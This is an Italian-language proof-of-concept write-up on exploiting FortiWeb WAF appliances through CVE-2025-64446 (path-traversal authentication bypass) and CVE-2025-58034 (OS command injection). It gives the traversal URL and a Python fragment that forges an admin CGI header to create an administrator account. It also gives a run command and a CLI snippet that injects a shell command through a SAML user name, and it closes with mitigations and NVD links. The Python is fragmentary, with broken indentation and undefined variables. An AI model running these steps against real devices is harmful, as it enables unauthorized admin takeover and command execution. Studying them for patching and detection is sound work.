Simulazione di sfruttamento di FortiWeb (CVE-2025-64446 e CVE-2025-58034)

Nota:

• Questo documento ha solo scopo didattico e di ricerca sulla sicurezza.
• Non utilizzare per attaccare sistemi senza autorizzazione.

1. Panoramica

FortiWeb è un dispositivo Web Application Firewall (WAF) utilizzato per proteggere le applicazioni web.

Nel 2025, sono state scoperte due vulnerabilità critiche:

• CVE-2025-64446 – Bypass dell'autenticazione tramite Path Traversal
• CVE-2025-58034 – OS Command Injection

2. Panoramica su CVE-2025-64446

Esempio:

/api/v2.0/cmdb/system/../../../../../../cgi-bin/fwbcgi

3. Panoramica su CVE-2025-58034

4. Processo sperimentale (POC)

4.1. Preparazione dell'ambiente:

python3 -m venv venv
source venv/bin/activate
pip install -r requirements.txt

Ciò aiuta a evitare conflitti di versione delle librerie, garantire la stabilità dell'ambiente di lavoro e limitare l'impatto sul sistema.

4.2 Sfruttamento

Payload:

 cgiinfo_json = {
        "username": "admin",
        "profname": "prof_admin",
        "vdom": "root",
        "loginname": "admin"
    }
cgiinfo_b64 = base64.b64encode(json.dumps(cgiinfo_json).encode()).decode()
conn.request("POST", "/api/v2.0/cmdb/system/admin%3f/../../../../../cgi-bin/fwbcgi", body=body_data, headers=headers)
        resp = conn.getresponse()
result = {
            'target': f"{host}:{port}",
            'status': resp.status,
            'user': username,
            'password': password,
            'success': resp.status == 200
        }

Eseguire lo strumento con Python3:

python3 exploit.py <IP_target>

• <IP_target>: L'indirizzo IP qui è il nome host del dispositivo FortiWeb.

Ottenuti username e password -> procedere con il login

Sfruttamento riuscito e creato un nuovo account con privilegi di amministratore.

4.3 Sfruttamento di CVE-2025-58034 dopo l'accesso all'account

Dopo aver effettuato l'accesso con il nuovo account amministratore, l'attaccante può sfruttare la vulnerabilità di iniezione di comandi autenticata tramite richieste appositamente create o direttamente tramite l'interfaccia a riga di comando di FortiWeb CLI:

config user saml-user

edit "`id`" ## inserire comando qui

set entityID http://foo

set service-path /foo

set enforce-signing disable

set slo-bind post

set slo-path /foo

set sso-bind post

set sso-path /foo

end

FortiWeb uscirà dalla stringa di configurazione ed eseguirà il comando id durante la configurazione di saml-user.

5. Alcuni modi per mitigare le vulnerabilità

• Aggiornare FortiWeb alla versione con patch.
• Limitare l'accesso all'interfaccia di amministrazione.
• Non esporre l'interfaccia di gestione su Internet.
• Controllare la presenza di account amministratore anomali.

6. Ulteriori riferimenti

• CVE-2025-64446 – https://nvd.nist.gov/vuln/detail/CVE-2025-64446
• CVE-2025-58034 – https://nvd.nist.gov/vuln/detail/CVE-2025-58034